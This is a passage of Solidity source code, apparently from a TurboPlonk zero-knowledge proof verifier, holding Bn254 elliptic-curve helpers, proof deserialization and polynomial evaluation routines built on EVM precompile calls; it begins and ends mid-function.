mulmod(u, u, p)) // separator_challenge = u * u success := and(success, staticcall(gas(), 7, mPtr, 0x60, add(mPtr, 0x60), 0x40)) // compute u.u.[recursive_P2] (u*u is still in memory at (mPtr + 0x40), no need to re-write it) mstore(mPtr, mload(recursive_P2)) mstore(add(mPtr, 0x20), mload(add(recursive_P2, 0x20))) success := and(success, staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40)) // compute u.u.[recursiveP2] + rhs and write into rhs mstore(add(mPtr, 0xa0), mload(rhs)) mstore(add(mPtr, 0xc0), mload(add(rhs, 0x20))) success := and(success, staticcall(gas(), 6, add(mPtr, 0x60), 0x80, rhs, 0x40)) // compute u.u.[recursiveP1] + lhs and write into lhs mstore(add(mPtr, 0x40), mload(lhs)) mstore(add(mPtr, 0x60), mload(add(lhs, 0x20))) success := and(success, staticcall(gas(), 6, mPtr, 0x80, lhs, 0x40)) } } require(success, "perform_pairing G1 operations preamble fail"); return Bn254Crypto.pairingProd2(rhs, Bn254Crypto.P2(), lhs, vk.g2_x); } /** * @dev Deserialize a proof into a Proof struct * @param num_public_inputs - number of public inputs in the proof. Taken from verification key * @return proof - proof deserialized into the proof struct */ function deserialize_proof(uint256 num_public_inputs, Types.VerificationKey memory vk) internal pure returns (Types.Proof memory proof) { uint256 p = Bn254Crypto.r_mod; uint256 q = Bn254Crypto.p_mod; uint256 data_ptr; uint256 proof_ptr; // first 32 bytes of bytes array contains length, skip it assembly { data_ptr := add(calldataload(0x04), 0x24) proof_ptr := proof } if (vk.contains_recursive_proof) { uint256 index_counter = vk.recursive_proof_indices * 32; uint256 x0 = 0; uint256 y0 = 0; uint256 x1 = 0; uint256 y1 = 0; assembly { index_counter := add(index_counter, data_ptr) x0 := calldataload(index_counter) x0 := add(x0, shl(68, calldataload(add(index_counter, 0x20)))) x0 := add(x0, shl(136, calldataload(add(index_counter, 0x40)))) x0 := add(x0, shl(204, calldataload(add(index_counter, 0x60)))) y0 := calldataload(add(index_counter, 0x80)) y0 := add(y0, shl(68, calldataload(add(index_counter, 0xa0)))) y0 := add(y0, shl(136, calldataload(add(index_counter, 0xc0)))) y0 := add(y0, shl(204, calldataload(add(index_counter, 0xe0)))) x1 := calldataload(add(index_counter, 0x100)) x1 := add(x1, shl(68, calldataload(add(index_counter, 0x120)))) x1 := add(x1, shl(136, calldataload(add(index_counter, 0x140)))) x1 := add(x1, shl(204, calldataload(add(index_counter, 0x160)))) y1 := calldataload(add(index_counter, 0x180)) y1 := add(y1, shl(68, calldataload(add(index_counter, 0x1a0)))) y1 := add(y1, shl(136, calldataload(add(index_counter, 0x1c0)))) y1 := add(y1, shl(204, calldataload(add(index_counter, 0x1e0)))) } proof.recursive_P1 = Bn254Crypto.new_g1(x0, y0); proof.recursive_P2 = Bn254Crypto.new_g1(x1, y1); } assembly { let public_input_byte_length := mul(num_public_inputs, 0x20) data_ptr := add(data_ptr, public_input_byte_length) // proof.W1 mstore(mload(proof_ptr), mod(calldataload(add(data_ptr, 0x20)), q)) mstore(add(mload(proof_ptr), 0x20), mod(calldataload(data_ptr), q)) // proof.W2 mstore(mload(add(proof_ptr, 0x20)), mod(calldataload(add(data_ptr, 0x60)), q)) mstore(add(mload(add(proof_ptr, 0x20)), 0x20), mod(calldataload(add(data_ptr, 0x40)), q)) // proof.W3 mstore(mload(add(proof_ptr, 0x40)), mod(calldataload(add(data_ptr, 0xa0)), q)) mstore(add(mload(add(proof_ptr, 0x40)), 0x20), mod(calldataload(add(data_ptr, 0x80)), q)) // proof.W4 mstore(mload(add(proof_ptr, 0x60)), mod(calldataload(add(data_ptr, 0xe0)), q)) mstore(add(mload(add(proof_ptr, 0x60)), 0x20), mod(calldataload(add(data_ptr, 0xc0)), q)) // proof.Z mstore(mload(add(proof_ptr, 0x80)), mod(calldataload(add(data_ptr, 0x120)), q)) mstore(add(mload(add(proof_ptr, 0x80)), 0x20), mod(calldataload(add(data_ptr, 0x100)), q)) // proof.T1 mstore(mload(add(proof_ptr, 0xa0)), mod(calldataload(add(data_ptr, 0x160)), q)) mstore(add(mload(add(proof_ptr, 0xa0)), 0x20), mod(calldataload(add(data_ptr, 0x140)), q)) // proof.T2 mstore(mload(add(proof_ptr, 0xc0)), mod(calldataload(add(data_ptr, 0x1a0)), q)) mstore(add(mload(add(proof_ptr, 0xc0)), 0x20), mod(calldataload(add(data_ptr, 0x180)), q)) // proof.T3 mstore(mload(add(proof_ptr, 0xe0)), mod(calldataload(add(data_ptr, 0x1e0)), q)) mstore(add(mload(add(proof_ptr, 0xe0)), 0x20), mod(calldataload(add(data_ptr, 0x1c0)), q)) // proof.T4 mstore(mload(add(proof_ptr, 0x100)), mod(calldataload(add(data_ptr, 0x220)), q)) mstore(add(mload(add(proof_ptr, 0x100)), 0x20), mod(calldataload(add(data_ptr, 0x200)), q)) // proof.w1 to proof.w4 mstore(add(proof_ptr, 0x120), mod(calldataload(add(data_ptr, 0x240)), p)) mstore(add(proof_ptr, 0x140), mod(calldataload(add(data_ptr, 0x260)), p)) mstore(add(proof_ptr, 0x160), mod(calldataload(add(data_ptr, 0x280)), p)) mstore(add(proof_ptr, 0x180), mod(calldataload(add(data_ptr, 0x2a0)), p)) // proof.sigma1 mstore(add(proof_ptr, 0x1a0), mod(calldataload(add(data_ptr, 0x2c0)), p)) // proof.sigma2 mstore(add(proof_ptr, 0x1c0), mod(calldataload(add(data_ptr, 0x2e0)), p)) // proof.sigma3 mstore(add(proof_ptr, 0x1e0), mod(calldataload(add(data_ptr, 0x300)), p)) // proof.q_arith mstore(add(proof_ptr, 0x200), mod(calldataload(add(data_ptr, 0x320)), p)) // proof.q_ecc mstore(add(proof_ptr, 0x220), mod(calldataload(add(data_ptr, 0x340)), p)) // proof.q_c mstore(add(proof_ptr, 0x240), mod(calldataload(add(data_ptr, 0x360)), p)) // proof.linearization_polynomial mstore(add(proof_ptr, 0x260), mod(calldataload(add(data_ptr, 0x380)), p)) // proof.grand_product_at_z_omega mstore(add(proof_ptr, 0x280), mod(calldataload(add(data_ptr, 0x3a0)), p)) // proof.w1_omega to proof.w4_omega mstore(add(proof_ptr, 0x2a0), mod(calldataload(add(data_ptr, 0x3c0)), p)) mstore(add(proof_ptr, 0x2c0), mod(calldataload(add(data_ptr, 0x3e0)), p)) mstore(add(proof_ptr, 0x2e0), mod(calldataload(add(data_ptr, 0x400)), p)) mstore(add(proof_ptr, 0x300), mod(calldataload(add(data_ptr, 0x420)), p)) // proof.PI_Z mstore(mload(add(proof_ptr, 0x320)), mod(calldataload(add(data_ptr, 0x460)), q)) mstore(add(mload(add(proof_ptr, 0x320)), 0x20), mod(calldataload(add(data_ptr, 0x440)), q)) // proof.PI_Z_OMEGA mstore(mload(add(proof_ptr, 0x340)), mod(calldataload(add(data_ptr, 0x4a0)), q)) mstore(add(mload(add(proof_ptr, 0x340)), 0x20), mod(calldataload(add(data_ptr, 0x480)), q)) } } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Types} from "./Types.sol"; /** * @title Bn254 elliptic curve crypto * @dev Provides some basic methods to compute bilinear pairings, construct group elements and misc numerical methods */ library Bn254Crypto { uint256 constant p_mod = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint256 constant r_mod = 21888242871839275222246405745257275088548364400416034343698204186575808495617; // Perform a modular exponentiation. This method is ideal for small exponents (~64 bits or less), as // it is cheaper than using the pow precompile function pow_small( uint256 base, uint256 exponent, uint256 modulus ) internal pure returns (uint256) { uint256 result = 1; uint256 input = base; uint256 count = 1; assembly { let endpoint := add(exponent, 0x01) for {} lt(count, endpoint) { count := add(count, count) } { if and(exponent, count) { result := mulmod(result, input, modulus) } input := mulmod(input, input, modulus) } } return result; } function invert(uint256 fr) internal view returns (uint256) { uint256 output; bool success; uint256 p = r_mod; assembly { let mPtr := mload(0x40) mstore(mPtr, 0x20) mstore(add(mPtr, 0x20), 0x20) mstore(add(mPtr, 0x40), 0x20) mstore(add(mPtr, 0x60), fr) mstore(add(mPtr, 0x80), sub(p, 2)) mstore(add(mPtr, 0xa0), p) success := staticcall(gas(), 0x05, mPtr, 0xc0, 0x00, 0x20) output := mload(0x00) } require(success, "pow precompile call failed!"); return output; } function new_g1(uint256 x, uint256 y) internal pure returns (Types.G1Point memory) { uint256 xValue; uint256 yValue; assembly { xValue := mod(x, r_mod) yValue := mod(y, r_mod) } return Types.G1Point(xValue, yValue); } function new_g2(uint256 x0, uint256 x1, uint256 y0, uint256 y1) internal pure returns (Types.G2Point memory) { return Types.G2Point(x0, x1, y0, y1); } function P1() internal pure returns (Types.G1Point memory) { return Types.G1Point(1, 2); } function P2() internal pure returns (Types.G2Point memory) { return Types.G2Point({ x0: 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2, x1: 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed, y0: 0x090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b, y1: 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa }); } /// Evaluate the following pairing product: /// e(a1, a2).e(-b1, b2) == 1 function pairingProd2( Types.G1Point memory a1, Types.G2Point memory a2, Types.G1Point memory b1, Types.G2Point memory b2 ) internal view returns (bool) { validateG1Point(a1); validateG1Point(b1); bool success; uint256 out; assembly { let mPtr := mload(0x40) mstore(mPtr, mload(a1)) mstore(add(mPtr, 0x20), mload(add(a1, 0x20))) mstore(add(mPtr, 0x40), mload(a2)) mstore(add(mPtr, 0x60), mload(add(a2, 0x20))) mstore(add(mPtr, 0x80), mload(add(a2, 0x40))) mstore(add(mPtr, 0xa0), mload(add(a2, 0x60))) mstore(add(mPtr, 0xc0), mload(b1)) mstore(add(mPtr, 0xe0), mload(add(b1, 0x20))) mstore(add(mPtr, 0x100), mload(b2)) mstore(add(mPtr, 0x120), mload(add(b2, 0x20))) mstore(add(mPtr, 0x140), mload(add(b2, 0x40))) mstore(add(mPtr, 0x160), mload(add(b2, 0x60))) success := staticcall( gas(), 8, mPtr, 0x180, 0x00, 0x20 ) out := mload(0x00) } require(success, "Pairing check failed!"); return (out != 0); } /** * validate the following: * x != 0 * y != 0 * x < p * y < p * y^2 = x^3 + 3 mod p */ function validateG1Point(Types.G1Point memory point) internal pure { bool is_well_formed; uint256 p = p_mod; assembly { let x := mload(point) let y := mload(add(point, 0x20)) is_well_formed := and( and( and(lt(x, p), lt(y, p)), not(or(iszero(x), iszero(y))) ), eq(mulmod(y, y, p), addmod(mulmod(x, mulmod(x, x, p), p), 3, p)) ) } require(is_well_formed, "Bn254: G1 point not on curve, or is malformed"); } } // SPDX-License-Identifier: GPL-2.0-only // Copyright 2020 Spilsbury Holdings Ltd pragma solidity >=0.6.0 <0.8.0; pragma experimental ABIEncoderV2; import {Bn254Crypto} from './Bn254Crypto.sol'; import {Types} from './Types.sol'; /** * @title Turbo Plonk polynomial evaluation * @dev Implementation of Turbo Plonk's polynomial evaluation algorithms * * Expected to be inherited by `TurboPlonk.sol` * * Copyright 2020 Spilsbury Holdings Ltd * * Licensed under the GNU General Public License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ library PolynomialEval { using Bn254Crypto for Types.G1Point; using Bn254Crypto for Types.G2Point; /** * @dev Use batch inversion (so called Montgomery's trick). Circuit size is the domain * Allows multiple inversions to be performed in one inversion, at the expense of additional multiplications * * Returns a struct containing the inverted elements */ function compute_batch_inversions( uint256 public_input_delta_numerator, uint256 public_input_delta_denominator, uint256 vanishing_numerator, uint256 vanishing_denominator, uint256 lagrange_numerator, uint256 l_start_denominator, uint256 l_end_denominator ) internal view returns ( uint256 zero_polynomial_eval, uint256 public_input_delta, uint256 l_start, uint256 l_end ) { uint256 mPtr; uint256 p = Bn254Crypto.r_mod; uint256 accumulator = 1; assembly { mPtr := mload(0x40) mstore(0x40, add(mPtr, 0x200)) } // store denominators in mPtr -> mPtr + 0x80 assembly { mstore(mPtr, public_input_delta_denominator) // store denominator mstore(add(mPtr, 0x20), vanishing_numerator) // store numerator, because we want the inverse of the zero poly mstore(add(mPtr, 0x40), l_start_denominator) // store denominator mstore(add(mPtr, 0x60), l_end_denominator) // store denominator // store temporary product terms at mPtr + 0x80 -> mPtr + 0x100 mstore(add(mPtr, 0x80), accumulator) accumulator := mulmod(accumulator, mload(mPtr), p) mstore(add(mPtr, 0xa0), accumulator) accumulator := mulmod(accumulator, mload(add(mPtr, 0x20)), p) mstore(add(mPtr, 0xc0), accumulator) accumulator := mulmod(accumulator, mload(add(mPtr, 0x40)), p) mstore(add(mPtr, 0xe0), accumulator) accumulator := mulmod(accumulator, mload(add(mPtr, 0x60)), p) } accumulator = Bn254Crypto.invert(accumulator); assembly { let intermediate := mulmod(accumulator, mload(add(mPtr, 0xe0)), p) accumulator := mulmod(accumulator, mload(add(mPtr, 0x60)), p) mstore(add(mPtr, 0x60), intermediate) intermediate := mulmod(accumulator, mload(add(mPtr, 0xc0)), p) accumulator := mulmod(accumulator, mload(add(mPtr, 0x40)), p) mstore(add(mPtr, 0x40), intermediate) intermediate := mulmod(accumulator, mload(add(mPtr, 0xa0)), p) accumulator := mulmod(accumulator, mload(add(mPtr, 0x20)), p) mstore(add(mPtr, 0x20), intermediate) intermediate := mulmod(accumulator, mload(add(mPtr, 0x80)), p) accumulator := mulmod(accumulator, mload(mPtr), p) mstore(mPtr, intermediate) public_input_delta := mulmod(public_input_delta_numerator, mload(mPtr), p) zero_polynomial_eval := mulmod(vanishing_denominator, mload(add(mPtr, 0x20)), p) l_start := mulmod(lagrange_numerator, mload(add(mPtr, 0x40)), p) l_end := mulmod(lagrange_numerator, mload(add(mPtr, 0x60)), p) } } function compute_public_input_delta( Types.ChallengeTranscript memory challenges, Types.VerificationKey memory vk ) internal pure returns (uint256, uint256) { uint256 gamma = challenges.gamma; uint256 work_root = vk.work_root; uint256 endpoint = (vk.num_inputs * 0x20) - 0x20; uint256 public_inputs; uint256 root_1 = challenges.beta; uint256 root_2 = challenges.beta; uint256 numerator_value = 1; uint256 denominator_value = 1; // we multiply length by 0x20 because our loop step size is 0x20 not 0x01 // we subtract 0x20 because our loop is unrolled 2 times an we don't want to overshoot // perform this computation in assembly to improve efficiency. We are sensitive to the cost of this loop as // it scales with the number of public inputs uint256 p = Bn254Crypto.r_mod; bool valid = true; assembly { root_1 := mulmod(root_1, 0x05, p) root_2 := mulmod(root_2, 0x07, p) public_inputs := add(calldataload(0x04), 0x24) // get public inputs from calldata. N.B. If Contract ABI Changes this code will need to be updated! endpoint := add(endpoint, public_inputs) // Do some loop unrolling to reduce number of conditional jump operations for {} lt(public_inputs, endpoint) {} { let input0 := calldataload(public_inputs) let N0 := add(root_1, add(input0, gamma)) let D0 := add(root_2, N0) // 4x overloaded root_1 := mulmod(root_1, work_root, p) root_2 := mulmod(root_2, work_root, p) let input1 := calldataload(add(public_inputs, 0x20)) let N1 := add(root_1, add(input1, gamma)) denominator_value := mulmod(mulmod(D0, denominator_value, p), add(N1, root_2), p) numerator_value := mulmod(mulmod(N1, N0, p), numerator_value, p) root_1 := mulmod(root_1, work_root, p) root_2 := mulmod(root_2, work_root, p) valid := and(valid, and(lt(input0, p), lt(input1, p))) public_inputs := add(public_inputs, 0x40) } endpoint := add(endpoint, 0x20) for {} lt(public_inputs, endpoint) { public_inputs := add(public_inputs, 0x20) } { let input0 := calldataload(public_inputs) valid := and(valid, lt(input0, p)) let T0 := addmod(input0, gamma, p) numerator_value := mulmod( numerator_value, add(root_1, T0), // 0x05 = coset_generator0 p ) denominator_value := mulmod( denominator_value, add(add(root_1, root_2), T0), // 0x0c = coset_generator7 p ) root_1 := mulmod(root_1, work_root, p) root_2 := mulmod(root_2, work_root, p) } } require(valid, "public inputs are greater than circuit modulus"); return (numerator_value, denominator_value); } /** * @dev Computes the vanishing polynoimal and lagrange evaluations L1 and Ln. * @return Returns fractions as numerators and denominators. We combine with the public input fraction and compute inverses as a batch */ function compute_lagrange_and_vanishing_fractions(Types.VerificationKey memory vk, uint256 zeta ) internal pure returns (uint256, uint256, uint256, uint256, uint256) { uint256 p = Bn254Crypto.r_mod; uint256 vanishing_numerator = Bn254Crypto.pow_small(zeta, vk.circuit_size, p); vk.zeta_pow_n = vanishing_numerator; assembly { vanishing_numerator := addmod(vanishing_numerator, sub(p, 1), p) } uint256 accumulating_root = vk.work_root_inverse; uint256 work_root = vk.work_root_inverse; uint256 vanishing_denominator; uint256 domain_inverse = vk.domain_inverse; uint256 l_start_denominator; uint256 l_end_denominator; uint256 z = zeta; // copy input var to prevent stack depth errors assembly { // vanishing_denominator = (z - w^{n-1})(z - w^{n-2})(z - w^{n-3})(z - w^{n-4}) // we need to cut 4 roots of unity out of the vanishing poly, the last 4 constraints are not satisfied due to randomness // added to ensure the proving system is zero-knowledge vanishing_denominator := addmod(z, sub(p, work_root), p) work_root := mulmod(work_root, accumulating_root, p) vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p) work_root := mulmod(work_root, accumulating_root, p) vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p) work_root := mulmod(work_root, accumulating_root, p) vanishing_denominator := mulmod(vanishing_denominator, addmod(z, sub(p, work_root), p), p) } work_root = vk.work_root; uint256 lagrange_numerator; assembly { lagrange_numerator := mulmod(vanishing_numerator, domain_inverse, p) // l_start_denominator = z - 1 // l_end_denominator = z * \omega^5 - 1 l_start_denominator := addmod(z, sub(p, 1), p) accumulating_root := mulmod(work_root, work_root, p) accumulating_root := mulmod(accumulating_root, accumulating_root, p) accumulating_root := mulmod(accumulating_root, work_root, p) l_end_denominator := addmod(mulmod(accumulating_root, z, p), sub(p, 1), p) } return (vanishing_numerator, vanishing_denominator, lagrange_numerator, l_start_denominator, l_end_denominator); } function compute_arithmetic_gate_quotient_contribution( Types.ChallengeTranscript memory challenges, Types.Proof memory proof ) internal pure returns (uint256) { uint256 q_arith = proof.q_arith; uint256 wire3 = proof.w3; uint256 wire4 = proof.w4; uint256 alpha_base = challenges.alpha_base; uint256 alpha = challenges.alpha; uint256 t1; uint256 p = Bn254Crypto.r_mod; assembly { t1 := addmod(mulmod(q_arith, q_arith, p), sub(p, q_arith), p) let t2 := addmod(sub(p, mulmod(wire4, 0x04, p)), wire3, p) let t3 := mulmod(mulmod(t2, t2, p), 0x02, p) let t4 := mulmod(t2, 0x09, p) t4 := addmod(t4, addmod(sub(p, t3), sub(p, 0x07), p), p) t2 := mulmod(t2, t4, p) t1 := mulmod(mulmod(t1, t2, p), alpha_base, p) alpha_base := mulmod(alpha_base, alpha, p) alpha_base := mulmod(alpha_base, alpha, p) } challenges.alpha_base = alpha_base; return t1; } function compute_pedersen_gate_quotient_contribution( Types.ChallengeTranscript memory challenges, Types.Proof memory proof ) internal pure returns (uint256) { uint256 alpha = challenges.alpha; uint256 gate_id = 0; uint256 alpha_base = challenges.alpha_base; { uint256 p = Bn254Crypto.r_mod; uint256 delta = 0; uint256 wire_t0 = proof.w4; // w4 uint256 wire_t1 = proof.w4_omega; // w4_omega uint256 wire_t2 = proof.w3_omega; // w3_omega assembly { let wire4_neg := sub(p, wire_t0) delta := addmod(wire_t1, mulmod(wire4_neg, 0x04, p), p) gate_id := mulmod( mulmod( mulmod( mulmod( add(delta, 0x01), add(delta, 0x03), p ), add(delta, sub(p, 0x01)), p ), add(delta, sub(p, 0x03)), p ), alpha_base, p ) alpha_base := mulmod(alpha_base, alpha, p) gate_id := addmod(gate_id, sub(p, mulmod(wire_t2, alpha_base, p)), p) alpha_base := mulmod(alpha_base, alpha, p) } uint256 selector_value = proof.q_ecc; wire_t0 = proof.w1; // w1 wire_t1 = proof.w1_omega; // w1_omega wire_t2 = proof.w2; // w2 uint256 wire_t3 = proof.w3_omega; // w3_omega uint256 t0; uint256 t1; uint256 t2; assembly { t0 := addmod(wire_t1, addmod(wire_t0, wire_t3, p), p) t1 := addmod(wire_t3, sub(p, wire_t0), p) t1 := mulmod(t1, t1, p) t0 := mulmod(t0, t1, p) t1 := mulmod(wire_t3, mulmod(wire_t3, wire_t3, p), p) t2 := mulmod(wire_t2, wire_t2, p) t1 := sub(p, addmod(addmod(t1, t2, p), sub(p, 17), p)) t2 := mulmod(mulmod(delta, wire_t2, p), selector_value, p) t2 := addmod(t2, t2, p) t0 := mulmod( addmod(t0, addmod(t1, t2, p), p), alpha_base, p ) gate_id := addmod(gate_id, t0, p) alpha_base := mulmod(alpha_base, alpha, p) } wire_t0 = proof.w1; // w1 wire_t1 = proof.w2_omega; // w2_omega wire_t2 = proof.w2; // w2 wire_t3 = proof.w3_omega; // w3_omega uint256 wire_t4 = proof.w1_omega; // w1_omega assembly { t0 := mulmod( addmod(wire_t1, wire_t2, p), addmod(wire_t3, sub(p, wire_t0), p), p ) t1 := addmod(wire_t0, sub(p, wire_t4), p) t2 := addmod( sub(p, mulmod(selector_value, delta, p)), wire_t2, p ) gate_id := addmod(gate_id, mulmod(add(t0, mulmod(t1, t2, p)), alpha_base, p), p) alpha_base := mulmod(alpha_base, alpha, p) } selector_value = proof.q_c; wire_t1 = proof.w4; // w4 wire_t2 = proof.w3; // w3 assembly { let acc_init_id := addmod(wire_t1, sub(p, 0x01), p) t1 := addmod(acc_init_id, sub(p, wire_t2), p) acc_init_id := mulmod(acc_init_id, mulmod(t1, alpha_base, p), p) acc_init_id := mulmod(acc_init_id, selector_value, p) gate_id := addmod(gate_id, acc_init_id, p) alpha_base := mulmod(alpha_base, alpha, p) } assembly { let x_init_id := sub(p, mulmod(mulmod(wire_t0, selector_value, p), mulmod(wire_t2, alpha_base, p), p)) gate_id := addmod(gate_id, x_init_id, p) alpha_base := mulmod(alpha_base, alpha, p) } wire_t0 = proof.w2; // w2 wire_t1 = proof.w3; // w3 wire_t2 = proof.w4; // w4 assembly { let y_init_id := mulmod(add(0x01, sub(p, wire_t2)), selector_value, p) t1 := sub(p, mulmod(wire_t0, wire_t1, p)) y_init_id := mulmod(add(y_init_id, t1), mulmod(alpha_base, selector_value, p), p) gate_id := addmod(gate_id, y_init_id, p) alpha_base := mulmod(alpha_base, alpha, p) } selector_value = proof.q_ecc; assembly { gate_id := mulmod(gate_id, selector_value, p) } } challenges.alpha_base = alpha_base; return gate_id; } function compute_permutation_quotient_contribution( uint256 public_input_delta, Types.ChallengeTranscript memory challenges, uint256 lagrange_start, uint256 lagrange_end, Types.Proof memory proof ) internal pure returns (uint256) { uint256 numerator_collector; uint256 alpha = challenges.alpha; uint256 beta = challenges.beta; uint256 p = Bn254Crypto.r_mod; uint256 grand_product = proof.grand_product_at_z_omega; { uint256 gamma = challenges.gamma; uint256 wire1 = proof.w1; uint256 wire2 = proof.w2; uint256 wire3 = proof.w3; uint256 wire4 = proof.w4; uint256 sigma1 = proof.sigma1; uint256 sigma2 = proof.sigma2; uint256 sigma3 = proof.sigma3; assembly { let t0 := add( add(wire1, gamma), mulmod(beta, sigma1, p) ) let t1 := add( add(wire2, gamma), mulmod(beta, sigma2, p) ) let t2 := add( add(wire3, gamma), mulmod(beta, sigma3, p) ) t0 := mulmod(t0, mulmod(t1, t2, p), p) t0 := mulmod( t0, add(wire4, gamma), p ) t0 := mulmod( t0, grand_product, p ) t0 := mulmod( t0, alpha, p ) numerator_collector := sub(p, t0) } } uint256 alpha_base = challenges.alpha_base; { uint256 lstart = lagrange_start; uint256 lend = lagrange_end; uint256 public_delta = public_input_delta; uint256 linearization_poly = proof.linearization_polynomial; assembly { let alpha_squared := mulmod(alpha, alpha, p) let alpha_cubed := mulmod(alpha, alpha_squared, p) let t0 := mulmod(lstart, alpha_cubed, p) let t1 := mulmod(lend, alpha_squared, p) let t2 := addmod(grand_product, sub(p, public_delta), p) t1 := mulmod(t1, t2, p) numerator_collector := addmod(numerator_collector, sub(p, t0), p) numerator_collector := addmod(numerator_collector, t1, p) numerator_collector := addmod(numerator_collector, linearization_poly, p) alpha_base := mulmod(alpha_base, alpha_cubed, p) } } challenges.alpha_base = alpha_base; return numerator_collector; } function compute_quotient_polynomial( uint256 zero_poly_inverse, uint256 public_input_delta, Types.ChallengeTranscript memory challenges, uint256 lagrange_start, uint256 lagrange_end, Types.Proof memory proof ) internal pure returns (uint256) { uint256 t0 = compute_permutation_quotient_contribution( public_input_delta, challenges, lagrange_start, lagrange_end, proof ); uint256 t1 = compute_arithmetic_gate_quotient_contribution(challenges, proof); uint256 t2 = compute_pedersen_gate_quotient_contribution(challenges, proof); uint256 quotient_eval; uint256 p = Bn254Crypto.r_mod; assembly { quotient_eval := addmod(t0, addmod(t1, t2, p), p) quotient_eval := mulmod(quotient_eval, zero_poly_inverse, p) } return quotient_eval; } function compute_linearised_opening_terms( Types.ChallengeTranscript memory challenges, uint256 L1_fr, Types.VerificationKey memory vk, Types.Proof memory proof ) internal view returns (Types.G1Point memory) { Types.G1Point memory accumulator = compute_grand_product_opening_group_element(proof, vk, challenges, L1_fr); Types.G1Point memory arithmetic_term = compute_arithmetic_selector_opening_group_element(proof, vk, challenges); uint256 range_multiplier = compute_range_gate_opening_scalar(proof, challenges); uint256 logic_multiplier = compute_logic_gate_opening_scalar(proof, challenges); Types.G1Point memory QRANGE = vk.QRANGE; Types.G1Point memory QLOGIC = vk.QLOGIC; QRANGE.validateG1Point(); QLOGIC.validateG1Point(); // compute range_multiplier.[QRANGE] + logic_multiplier.[QLOGIC] + [accumulator] + [grand_product_term] bool success; assembly { let mPtr := mload(0x40) // range_multiplier.[QRANGE] mstore(mPtr, mload(QRANGE)) mstore(add(mPtr, 0x20), mload(add(QRANGE, 0x20))) mstore(add(mPtr, 0x40), range_multiplier) success := staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40) // add scalar mul output into accumulator // we use mPtr to store accumulated point mstore(add(mPtr, 0x40), mload(accumulator)) mstore(add(mPtr, 0x60), mload(add(accumulator, 0x20))) success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40)) // logic_multiplier.[QLOGIC] mstore(add(mPtr, 0x40), mload(QLOGIC)) mstore(add(mPtr, 0x60), mload(add(QLOGIC, 0x20))) mstore(add(mPtr, 0x80), logic_multiplier) success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, mPtr, 0x80, mPtr, 0x40)) // add arithmetic into accumulator mstore(add(mPtr, 0x40), mload(arithmetic_term)) mstore(add(mPtr, 0x60), mload(add(arithmetic_term, 0x20))) success := and(success, staticcall(gas(), 6, mPtr, 0x80, accumulator, 0x40)) } require(success, "compute_linearised_opening_terms group operations fail"); return accumulator; } function compute_batch_opening_commitment( Types.ChallengeTranscript memory challenges, Types.VerificationKey memory vk, Types.G1Point memory partial_opening_commitment, Types.Proof memory proof ) internal view returns (Types.G1Point memory) { // Computes the Kate opening proof group operations, for commitments that are not linearised bool success; // Reserve 0xa0 bytes of memory to perform group operations uint256 accumulator_ptr; uint256 p = Bn254Crypto.r_mod; assembly { accumulator_ptr := mload(0x40) mstore(0x40, add(accumulator_ptr, 0xa0)) } // first term Types.G1Point memory work_point = proof.T1; work_point.validateG1Point(); assembly { mstore(accumulator_ptr, mload(work_point)) mstore(add(accumulator_ptr, 0x20), mload(add(work_point, 0x20))) } // second term uint256 scalar_multiplier = vk.zeta_pow_n; // zeta_pow_n is computed in compute_lagrange_and_vanishing_fractions uint256 zeta_n = scalar_multiplier; work_point = proof.T2; work_point.validateG1Point(); assembly { mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute zeta_n.[T2] success := staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // third term work_point = proof.T3; work_point.validateG1Point(); assembly { scalar_multiplier := mulmod(scalar_multiplier, scalar_multiplier, p) mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute zeta_n^2.[T3] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // fourth term work_point = proof.T4; work_point.validateG1Point(); assembly { scalar_multiplier := mulmod(scalar_multiplier, zeta_n, p) mstore(add(accumulator_ptr, 0x40), mload(work_point)) mstore(add(accumulator_ptr, 0x60), mload(add(work_point, 0x20))) mstore(add(accumulator_ptr, 0x80), scalar_multiplier) // compute zeta_n^3.[T4] success := and(success, staticcall(gas(), 7, add(accumulator_ptr, 0x40), 0x60, add(accumulator_ptr, 0x40), 0x40)) // add scalar mul output into accumulator success := and(success, staticcall(gas(), 6, accumulator_ptr, 0x80, accumulator_ptr, 0x40)) } // fifth term work_point = partial_opening_commitment; work_point.validateG1Point(); assembly { // add partial opening commitment into accumulator mstore(add(accumulator_ptr, 0x40), mload(partial_opening_commitment)) mstore(add(accumulator_ptr, 0x60), mload(add(partial_opening_commitment, 0x20))) success := and(success, staticcall(gas(), 6, 